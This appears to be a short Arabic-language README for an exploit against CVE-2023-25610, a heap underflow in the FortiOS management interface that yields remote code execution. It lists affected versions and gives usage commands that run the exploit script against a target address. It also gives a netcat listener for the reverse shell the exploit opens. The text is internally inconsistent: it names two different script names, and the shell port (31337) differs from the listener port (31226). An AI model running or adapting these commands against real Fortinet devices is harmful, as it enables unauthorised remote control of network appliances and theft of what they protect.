CVE-2023-25610

تجاوز سعة سفلية في كومة الذاكرة في واجهة إدارة FortiOS تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

النطاق والقيود

1. Fortinet 6.x
2. استنادًا إلى TLSv1.3، قد توجد اختلافات في إصدارات TLS الأخرى

الاستخدام

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

المستمع

يستخدم الـ EXP أمر بايثون لإعداد قشرة ارتدادية على المنفذ 31337

nc -lvnp 31226